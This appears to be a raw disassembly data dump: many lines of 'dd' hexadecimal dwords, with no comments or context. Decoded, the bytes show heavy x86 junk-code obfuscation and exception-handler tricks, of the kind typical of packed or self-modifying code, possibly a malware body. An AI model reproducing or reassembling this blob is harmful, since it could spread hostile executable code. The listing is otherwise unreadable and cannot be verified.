		dd 19042444h, 40000000h, 0B004C350h, 60EA781Ah,	0BBD38166h
		dd 44689AAh, 0FFB70F51h, 9FBF505Bh, 892F5A97h, 6A2434h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 0E8B6F4C3h, 8166A843h, 0FF5E80C3h, 0ABBB23B5h, 0D9B70F07h
		dd 3762D268h, 0C840F01h, 0F000000h, 68Bh, 0F525000h, 81585A31h
		dd 612D2434h, 6A0128h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 8DF945C3h, 0ABBB2B85h, 8E85007h
		dd 54000000h, 1845A1Fh,	0E89DD856h, 0Eh, 0A2EB203h, 3D8496ACh
		dd 7AD5A695h, 13E86A96h, 0A4000000h, 0C70D4059h, 0D13607Ah
		dd 5D94C0E8h, 4C35F612h, 5F5BD54Ch, 2404895Fh, 50F38166h
		dd 3995FFF2h, 6607A805h, 6A61DA8Bh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 4C34C355h
		dd 6EF381BDh, 0C70BE1D8h, 0A8093985h, 307h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 8361B60Fh, 0ABBB2BBDh, 840F0007h, 16h, 7E9h,	0D5C68100h
		dd 5AA0DA9Ah, 20E9h, 0F3816600h, 30501F67h, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 50006AC0h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 58B2FD6Eh, 0E7D22686h, 7E9940Dh, 4F000000h, 93F24E56h
		dd 0BF66C5D5h, 6A9DABh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 740C2EC3h, 94CBC005h, 939BD83h
		dd 0F0307A8h, 4E785h, 1DBD2300h, 8307A827h, 0ABBB2BBDh
		dd 840F0007h, 4D4h, 3298D29h, 0B5FF07A8h, 7ABBB2Bh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0FBC35343h, 12E880h
		dd 0E0000h, 0F6620200h,	0D5AFF4C5h, 0DAEE5CB9h,	69B9E89Ch
		dd 7595FF5Fh, 0F07A824h, 0DB81F8BFh, 1E24DF7Ah,	0BB1FB58Bh
		dd 6A07ABh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 0B91BE7C3h, 10517EAh, 44B785C5h, 360CBB66h
		dd 106C7h, 6A0001h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 0BB654AC3h, 77AD4AE1h, 559D897Bh
		dd 9607A814h, 4880Fh, 0B3500000h, 96505B0Bh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 19C35141h, 0F385CE32h
		dd 0B7F9BFFBh, 0F78023A8h, 2BB5FF27h, 6A07ABBBh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 96F7C356h, 7C550BADh, 2E4DEEF9h, 10DDBD33h, 8D2907A8h
		dd 7A8309Dh, 7E8h, 183D1900h, 0CACCC160h, 3800Fh, 0E3800000h
		dd 95FF5BA7h, 7A823E5h,	30258D31h, 0B58B07A8h, 7ABBB1Fh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0C3C35545h
		dd 8D84663Bh, 16D04474h, 10E9h,	39B75300h, 48A7B6DDh, 868D2E1Fh
		dd 0D2D3E941h, 41858B12h, 6A07A829h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 88E4C353h
		dd 7D0A39AAh, 318589E4h, 6007A833h, 419589h, 0E18107A8h
		dd 5F54FA82h, 0C4868961h, 0E8000000h, 12h, 0F3C73CB4h
		dd 822E7A3Dh, 4C75C79Eh, 4663320Ch, 9529C420h, 7A80869h
		dd 31958B5Fh, 6607A817h, 836519BBh, 0C38004C2h,	0F3C78165h
		dd 8907AA83h, 6A2050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 2A9569C3h, 0E5B396D5h, 0F595317Bh
		dd 5107A819h, 26919D29h, 8D5B07A8h, 0ABCFC185h,	5BF95107h
		dd 0B88689h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 0B29A3C3h, 1D159D29h, 6A07A8h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0ADC35242h, 85D5D31Ah
		dd 0FFA2E588h, 0ABBB2BB5h, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 0EC0C2698h
		dd 76FA4C1Bh
		dd 14E595FFh, 6A07A8h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 0E19131C3h, 1EE0EBBh, 5E99654h
		dd 3000000h, 626023DBh,	4CBB6650h, 0E950964Ah, 8, 0BAAE7559h
		dd 823C8108h, 2BB5FF5Fh, 0F07ABBBh, 68Bh, 2D8D8900h, 0FF07A81Eh
		dd 0A81D0995h, 0A840F07h, 0E9000000h, 5, 0A85E02E4h, 0FDBD8343h
		dd 7A81Dh, 5E840Fh, 6A0000h, 3E850h, 58200000h,	448958C3h
		dd 44810424h, 160424h, 50400000h, 0DA318FC3h, 0E9D8BF0Fh
		dd 0Fh,	132B47F2h, 8E98F92Eh, 0E844CCDBh, 50F9FA91h, 6A243489h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 0FB9BC351h, 9D8B2E94h, 7A80521h, 0BB2BB5FFh
		dd 6A07ABh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 0A88248C3h, 95FFDDF7h, 7A810D5h, 0BC99589h
		dd 0B5FF07A8h, 7ABBB2Bh, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 15h, 0EDC35242h, 8E92Ah, 0BCA40000h, 0E2A09286h
		dd 0BD8B1BEBh, 7A819C1h, 0B3995FFh, 6A07A8h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 954C9C3h
		dd 0A82D759Dh, 0F5BD8307h, 207A831h, 6B840Fh, 0BD310000h
		dd 7A81455h, 8BF8BF0Fh,	0A8298185h, 55006A07h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 0A6648E4Bh
		dd 0C862D486h, 0C6F5F303h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 692764C3h
		dd 0CCD11BBFh, 0E94DF6FAh, 6, 0EC1351BAh, 0B70F3F50h, 0C985C7F9h
		dd 7A821h, 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 0E97CC355h, 10h, 0CBAEAAAh, 1AEE9CA0h
		dd 32B532D6h, 4BFA1BD2h, 2881BD89h, 0BD8B07A8h,	7A81491h
		dd 0FFF237E9h, 9DB589FFh, 8B07A81Ah, 57006AC1h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 0C950869Ah
		dd 820F10AFh, 6, 25159D89h, 858D07A8h, 7A80425h, 32BF6690h
		dd 6A9050DCh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 0CC0DC350h, 53F1CCD6h,	0F006AF8h
		dd 89h,	89006A00h, 0A805B99Dh, 48858D07h, 8907AC61h, 0A81E09BDh
		dd 5C08307h, 0EEEABB66h, 50FE8A90h, 0E9006A90h,	8, 264B5182h
		dd 0B6FEF64Dh, 6A006Ah,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 90CE57C3h, 4CA7EA29h, 0F67C826h
		dd 389h, 0FA8B6600h, 218D9D89h,	95FF07A8h, 7A81B39h, 2751BD8Bh
		dd 8D8D07A8h, 7AB9A3Bh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 3DC35545h, 80530E93h,	0FF5B0CD3h, 0E18589D1h
		dd 8307A800h, 0A806A5BDh, 850F0107h, 89h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 19h, 6DC35343h, 0E26EF24Bh
		dd 6A026AB9h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 0B69BC352h, 88E780A5h,	1E00BF90h
		dd 0F505E52h, 0C87h, 6820F00h, 50000000h, 5A310F52h, 0D3809058h
		dd 0E595FF52h, 8907A814h, 0A810898Dh, 12E807h, 0D86C0000h
		dd 86BCA463h, 0EBE2A092h, 50B7D1Bh, 0A3EE17FDh,	65E9BF66h
		dd 0E38E95Bh, 0E80000h,	5D000000h, 6152ED81h, 6A07ACh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 86BFFEC3h, 899589E3h, 0E807A821h, 12h, 4846F05h, 2DBDDA49h
		dd 0AF79EEh, 0E1B9301Bh, 5BF88F58h, 2890Fh, 5F530000h
		dd 8C03858Dh, 6A07ABh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 0BE5334C3h, 4BE0D912h, 718D29A7h
		dd 9007A824h, 2840F50h,	56000000h, 8B505F5Fh, 6A90FEh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 762ABCC3h, 41BFEF6Fh, 3353A3E0h, 0A808F59Dh,	850F5B07h
		dd 0
		dd 35FF64h, 0F9000000h,	258964h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0B27CC356h
		dd 0ED04E821h, 8B3E89D9h, 0A822A5BDh, 5DBD8907h, 0FF07A819h
		dd 0A80EE585h, 57006A07h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 8951C7A1h, 0A82FA5BDh
		dd 0BD895F07h, 7A80F0Dh, 6AFF6Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 0DD795CC3h, 8FF3876h
		dd 95893D2Ch, 7A81919h,	0E810Fh, 9E90000h, 73000000h, 0E665174Ah
		dd 0AFB5E1CCh, 0BBDB5FFh, 6A07A8h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 0B25229C3h, 1E7C84A7h
		dd 5B3666BBh, 6D95FF6Eh, 0E907A824h, 150h, 48C0Fh, 0BF660000h
		dd 0B0FED0h, 19198D29h,	70E607A8h, 0E4FFB70Fh, 5850F71h
		dd 0BF000000h, 4D9545EBh, 830F613Ch, 124h, 0CE9h, 60734A00h
		dd 0DE4ECA92h, 0AB268152h, 0C8B60F16h, 0E2EADB81h, 6BA3B16h
		dd 29000000h, 0A8046D95h, 0B18D8907h, 8B07A834h, 0AFCB81C1h
		dd 0C12AF88Dh, 0D88B04E8h, 2BE2F766h, 2D9D89C8h, 0E907A819h
		dd 0Fh,	0B3DE9184h, 555A46ADh, 805A23F5h, 8BA6F02Fh, 0C58D09D1h
		dd 0E907A828h, 6, 2F36C381h, 858B4D91h,	7A82501h, 0EE9h
		dd 0AD9D00h, 0E6710BA9h, 26C26950h, 83324E96h, 958907C0h
		dd 7A825E1h, 24699D23h,	0C08307A8h, 9EC38100h, 3B5AF2F6h
		dd 0B830FD0h, 0E9000000h, 7Ch, 3175B589h, 8D8B07A8h, 7A82869h
		dd 13E9h, 8660A700h, 4CDFF07Eh,	0E9B87E7Eh, 5760074h, 2CCDBDBAh
		dd 0F01E183h, 4F84h, 11E900h, 61360000h, 0F4259CADh, 5F23684Fh
		dd 2C8B1F0Bh, 0FC49D56h, 1885h,	13E900h, 0EDF10000h, 71B5EB44h
		dd 0B31E34E8h, 48A8ED6Dh, 0E22E1A16h, 69A583F9h, 0FE07A828h
		dd 89DF8B66h, 0A8250195h, 0ED953107h, 0E907A833h, 0
aNBilLaqIJ	db 'µë«',7,'‹Q)¨',7,'j',0
aJ		db 'j',0
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 96DB7C3h, 36879838h,	7DB529DAh, 0FF07A82Fh, 0A80D2195h
		dd 0F99D2907h, 0B907A826h, 793h, 35699529h, 0BD0907A8h
		dd 7A82919h, 0E9FCE183h, 0Dh, 0FE932D80h, 0F4AB8C49h, 77474EA5h
		dd 6AFCB5h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 0D688C0C3h, 0BD89C02Bh, 7A83331h,	2BD8BF0Fh
		dd 52006AD2h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 0F109F4EFh, 719D89C6h, 0AD07A81Bh, 0E8D1C233h
		dd 0E983D003h, 81F47504h, 4C981FEFh, 55006A7Bh,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 0FEBE071Eh
		dd 0E933B7CEh, 5, 0F29EC761h, 880D43h, 0BD8B0000h, 7A814F9h
		dd 1731958Bh, 9D8B07A8h, 7A80E55h, 0A598D8Bh, 6A07A8h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 0CAB75FC3h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h
		dd 9D8B5818h, 7A81B55h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 0F8C35040h, 0AC72869Ch, 8A0FBB1Eh, 0Ch
		dd 0DB816660h, 81669388h, 61DE4BEBh, 1885BD83h,	0F0007A8h
		dd 0A384h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1804h, 0C3514100h, 772D9CF5h, 619D33FBh, 0B807A818h
		dd 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0E8C35747h
		dd 6A2A8864h, 599D8BEBh, 8B07A835h, 0A807A9BDh,	4D8D8D07h
		dd 0E807A84Eh, 12h, 0B590EA08h,	52F46208h, 9D6D63AFh, 7F7D67E9h
		dd 0B501CDD6h, 7A804C5h, 6AE1FF5Fh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 8386C353h
		dd 59EFB906h, 994B62A9h, 939BD83h, 0F0007A8h, 3FC84h, 68D0F00h
		dd 81000000h, 0F8AA8FC7h, 39BD837Bh, 107A809h, 3FE840Fh
		dd 84BF0000h, 8322BB58h, 0A80939BDh, 860F0307h,	3B6h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0FAC35343h, 0F5960F8Ah
		dd 5DDF4726h, 25B19D8Bh, 0D98B07A8h, 0D98C6660h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0D1C35343h, 0E1802987h
		dd 53006A04h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 9EE75DB3h, 66152892h, 13E9DA8Bh,	53000000h
		dd 0FA5D2C28h, 0AE6FB3Dh, 0F0048D14h, 3FF10025h, 0C90AB905h
		dd 123840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 729D8CC3h, 0E1DD7211h, 59858954h
		dd 8B07A821h, 0A80BB185h, 33D88B07h, 0A8287185h, 95895707h
		dd 7A805D9h, 0BB66905Bh, 6650B032h, 6A90DE8Bh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 2D6EC355h, 10E8h, 0F1723D00h, 2F04F219h, 2FCDBE74h
		dd 0E09B0A27h, 0C5BB523Dh, 5F268039h, 6A006A5Fh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 0DA58C356h, 9764C566h, 0B21041Ch, 0A807699Dh, 0E1906807h
		dd 0BF66FC42h, 481C961h, 0DC226F24h, 0FF3AB703h, 0A8053995h
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 859589C2h, 8907A800h, 0ABBB2B85h, 52006A07h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 0DBBA334Bh, 6679B958h, 0BF66FB8Bh, 89E97D53h, 8B000001h
		dd 0A8157DBDh, 23858B07h, 6A07ABBBh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 85DFC351h
		dd 7D6E94Ah, 0FB8BC126h, 14298D29h, 0C707A8h, 18h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0E9C35646h, 94420D9Dh
		dd 699D3157h, 8B07A824h, 0ABBB27B5h, 51006A07h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 891A609h, 0CCD858Bh
		dd 6E907A8h, 0BC000000h, 612F972Dh, 0E9068924h,	12h, 0F8E51ECEh
		dd 0D2BFEA91h, 0E38FE626h, 0E5D32AC3h, 858B8C5Bh, 7A80BB1h
		dd 0D6BF0F60h, 0A388B966h, 4468961h, 0D67ABF66h, 10E85796h
		dd 0A000000h, 0A0866A07h, 1E986956h, 6A6F0B8Fh,	6063943Eh
		dd 505B5B61h, 0DE960h, 5FC70000h, 0ACAF150Fh, 6D0382C5h
		dd 0E8A0043Dh, 11h, 2F884F14h, 53EB7AA8h, 0A2B48B87h, 0F6B64A10h
		dd 0D98B66F1h, 6A96615Eh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 54E0C355h, 10E9DAh
		dd 13A60000h, 0E3D8ECFBh, 687AFFDAh, 0D49063A4h, 0B5FF4B84h
		dd 7ABBB23h, 68DA8B66h,	4A64D16h, 3481F98Bh, 0B94EE924h
		dd 0E1BD8904h, 8D07A808h, 0ABBB2B85h, 1850907h,	5007A818h
		dd 7E9h, 157D5500h, 4B272655h, 0F9240489h, 53995FFh, 0FB8B07A8h
		dd 53006A61h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 0B766ACFAh, 581F22F2h, 799531EDh, 0F507A823h
		dd 93985C7h, 307A8h, 0B70F0000h, 2BBD83FBh, 7ABBBh, 34840Fh
		dd 0F98B0000h, 7E79E381h, 42E96EC8h, 6A000000h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 0CCF1C353h, 26714B9Ah, 0BF66EE1Bh, 30509327h, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 56006AC0h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 0F338EA0h, 0A9BD2B99h, 8907A833h, 0A8157995h, 39BD8307h
		dd 307A809h, 44F850Fh, 6A0000h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 73E43FC3h, 0C509705Ah
		dd 0BF0F195Dh, 2BBD83D8h, 7ABBBh, 41B840Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 81B023C3h, 8FAA7BDBh, 5056BF0Fh, 0B5FF311Dh,	7ABBB2Bh
		dd 21459D8Bh, 9D2B07A8h, 7A809E1h, 247595FFh, 6A07A8h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0E6399EC3h, 0E3808068h, 1FB58B02h, 8107ABBBh, 0B0C60CBh
		dd 106C77Fh, 8B000100h,	0A80E799Dh, 0DF816607h,	0F50010Eh
		dd 28Dh, 89F88B00h, 6A2434h, 3E851h, 59200000h,	4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 0CD4019C3h, 0B5B06591h
		dd 52C02E28h, 58E0Fh, 0ABBF0000h, 5B4BD1C1h, 0BB2BB5FFh
		dd 6A07ABh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 0F92E95C3h, 23E595FFh, 6A07A8h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 0D513C8C3h
		dd 18E0Fh, 1F80000h, 0A8061195h, 1FB58B07h, 8907ABBBh
		dd 0A81CC595h, 8BFB8B07h, 0A8294185h, 57006A07h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
		dd 0C48689FEh, 0F000000h, 0C8Bh, 68D0F00h, 2B000000h, 0A833199Dh
		dd 31958B07h, 0BF07A817h, 7F82ACECh, 0FE8h, 0FB7BBE00h
		dd 8B6F52B4h, 0ECB6405Ch, 9B520805h, 286D9589h,	835B07A8h
		dd 6A04C2h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 1FB96C3h,	0BB82CDE3h, 0E8F692B4h,	0Ch, 0E455832Bh
		dd 0CF938C11h, 0B8B21D4Fh, 5FFEBF0Fh, 6A205089h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 0C7ADC350h, 66689C5Ah, 8D7531BBh, 0ABCFC185h, 0F7816607h
		dd 8689D0D1h, 0B8h, 12E8h, 0C799DA00h, 4D16F506h, 0CC11A4E6h
		dd 0F24F9EBAh, 895CBBAAh, 0A827A995h, 6A5B07h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0FDC35343h, 3A03C121h
		dd 0B985895Dh, 0FF07A82Ah, 0ABBB2BB5h, 50006A07h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
		dd 95FF3120h, 7A814E5h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 0D0C35646h, 386C8D6Ch, 0E8506165h, 6
		dd 50F5F0B4h, 0FE8A638Eh, 2434895Fh, 1AB58D01h,	0B5FF07A8h
		dd 7ABBB2Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	86C35747h, 995FF83h, 6607A81Dh,	83D4C6BFh, 0A81DFDBDh
		dd 840F0007h, 5Fh
		dd 6EEB81FCh, 9619CAA0h, 50FB8B66h, 12E8h, 0AB23D400h
		dd 0E89F1B7Dh, 85651462h, 0C70E4A98h, 0E88F07E5h, 5, 72FFA27Dh
		dd 965B5FCBh, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Dh,	9AC35545h, 35051338h, 1277FE19h, 0E6BF6698h, 85B58964h
		dd 0FF07A80Ah, 0ABBB2BB5h, 0DBBF0F07h, 10D595FFh, 55B707A8h
		dd 0BB2BB5FFh, 6A07ABh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 40701BC3h, 7E4537Ah, 15118589h
		dd 95FF07A8h, 7A80B39h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 4C35646h, 0F3DC8ACh, 5FBBDABFh, 837208ABh
		dd 0A831F5BDh, 840F0207h, 59h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 0CAC35040h,	2EB20379h, 6696AC0Ah
		dd 0F226EB81h, 2981858Bh, 0B58907A8h, 7A80481h,	6A0000C6h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 4282C352h, 0BAF0A43h, 0C985C74Fh,	7A821h
		dd 89000000h, 0A813498Dh, 0F33AE907h, 0FE9FFFFh, 94000000h
		dd 5106EB9Fh, 117A0EC7h, 9580BCAh, 0C18BA17Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0BC35646h, 1AB60636h
		dd 4AD4EE4Eh, 264DBD0Bh, 858D07A8h, 7A80425h, 21A1B589h
		dd 519007A8h, 505BF88Bh, 4860Fh, 8B600000h, 8B9061D7h
		dd 0A826899Dh, 6A006A07h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 3A54C353h, 8BFB1998h
		dd 0A80D359Dh, 8FBF6607h, 6A006AD9h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 4DE4C353h
		dd 0A263AE3Ch, 22108AF5h, 8858DF9h, 6A07AC71h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 0CD9BC356h, 0BDEAFFCAh, 0C083F88Bh, 53006A05h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
		dd 0FE67FCDh, 9D8BD8BFh, 7A80065h, 8B665150h, 4895FF9h
		dd 2890F24h, 8B000000h,	870F53FAh, 6, 35618509h, 6A5F07A8h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 0C36A72ACh, 6A3AD7E3h, 39EDBB00h, 95FF6FD6h
		dd 7A81B39h, 319D0B50h,	5B07A833h, 3B8D8DF5h, 3307AB9Ah
		dd 0A82C35BDh, 6AD1FF07h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 1DE5C351h, 3991B900h
		dd 8589D5A7h, 7A82C3Dh,	3FF78166h, 0A5BD838Bh, 107A806h
		dd 17850Fh, 0BD890000h,	7A80F81h, 8166026Ah, 50BE8AEBh
		dd 0FF240489h, 0A814E595h, 0E7DE907h, 0E80000h,	5D000000h
		dd 7112ED81h, 6A07ACh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 2A4F46C3h, 8D895F27h, 7A82539h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 34C35343h
		dd 0FE2F2E91h, 0BD8960CDh, 7A83331h, 1E2D8589h,	8D6107A8h
		dd 0AB8C0385h, 18F0F07h, 0F9000000h, 66525090h,	0F3BB5BFh
		dd 0FDBB6631h, 50585AFFh, 90D88B66h, 0D958960h,	6607A822h
		dd 619303BAh, 35FF64h, 0E8000000h, 0Dh,	0D3233C30h, 8B1A358Ch
		dd 0A516DD59h, 13E858h,	16EA0000h, 0D562DB94h, 9C9E21Eh
		dd 4A89AD7Ch, 2CDB2E45h, 890F06h, 5B000000h, 2589645Bh
		dd 0
		dd 21BDB589h, 85FF07A8h, 7A80EE5h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 0C2C35747h,	0FE8BC2B5h, 0BCBFFF6Ah
		dd 0F6C8F66h, 0B5FFD9B7h, 7A83099h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 14h, 2DC35040h, 9E9h, 0E7887700h
		dd 3B97D943h, 95FF111Ah, 7A8246Dh, 13BE9h, 0DB816600h
		dd 9D31BE30h, 7A80935h,	0EDBF00B0h, 0E61F3567h,	219D2370h
		dd 0E407A82Eh, 21858971h, 3C07A82Fh, 11830F61h,	0F000001h
		dd 0EF81C8B6h, 34FFF807h, 6BAh,	0BD8B5000h, 7A817D1h, 8BC18B5Fh
		dd 4E8C1F9h, 30A1BD29h,	0BD2B07A8h, 7A81CB9h, 29E2F766h
		dd 0A814B98Dh, 9C82B07h, 0A8053DB5h, 0E8D18B07h, 12h, 0E3CBCD02h
		dd 7388D31Fh, 9A1BB2BEh, 0B151C820h, 9E99A55h, 0C5000000h
		dd 0CEFD125Ah, 79CC5EFEh, 4E95Bh, 0BB660000h, 858B5C8Ch
		dd 7A83125h, 9850Fh, 830F0000h,	3, 83F9B70Fh, 8B6607C0h
		dd 0C083DAh, 3BD8BF0Fh,	3F830FD0h, 60000000h, 0DE8h, 0FE808300h
		dd 0C2EB6B18h, 0B1B96020h, 0B58B2E0Dh, 7A8172Dh, 14E85Eh
		dd 0CE510000h, 0BA40B02Ah, 93C2642Ah, 3D4573A5h, 0C402DAECh
		dd 0BF0F2600h, 0E96158D3h, 40h,	8D8BF88Bh, 7A82361h, 26918589h
		dd 0E18307A8h, 29840F01h, 53000000h, 0D98B6656h, 0A5835B5Fh
		dd 7A82361h, 4850FFEh, 66000000h, 8953AFBFh, 0A8312595h
		dd 3D8D0107h, 0E907A81Bh, 0
		dd 0F43EB58Dh, 8E0F07ABh, 1, 6A006AF8h,	3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 40C355h
		dd 68C0F42h, 8B000000h,	0A805759Dh, 2195FF07h, 8007A80Dh
		dd 2AB9EFF3h, 6A000008h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 0D07C350h, 6AFCE183h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 884DC352h, 0D0783BDh, 0E9AE7CB4h,	13h, 79184C21h
		dd 31006521h, 4771065h,	0D8E7F712h, 0FC3B3254h,	88E0Fh
		dd 810F0000h, 2, 0B85B51h, 6A000000h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 0BD70C357h
		dd 6E0BB07Bh, 0B3D4B759h, 53D22B32h, 3896D381h,	0AD5F24B6h
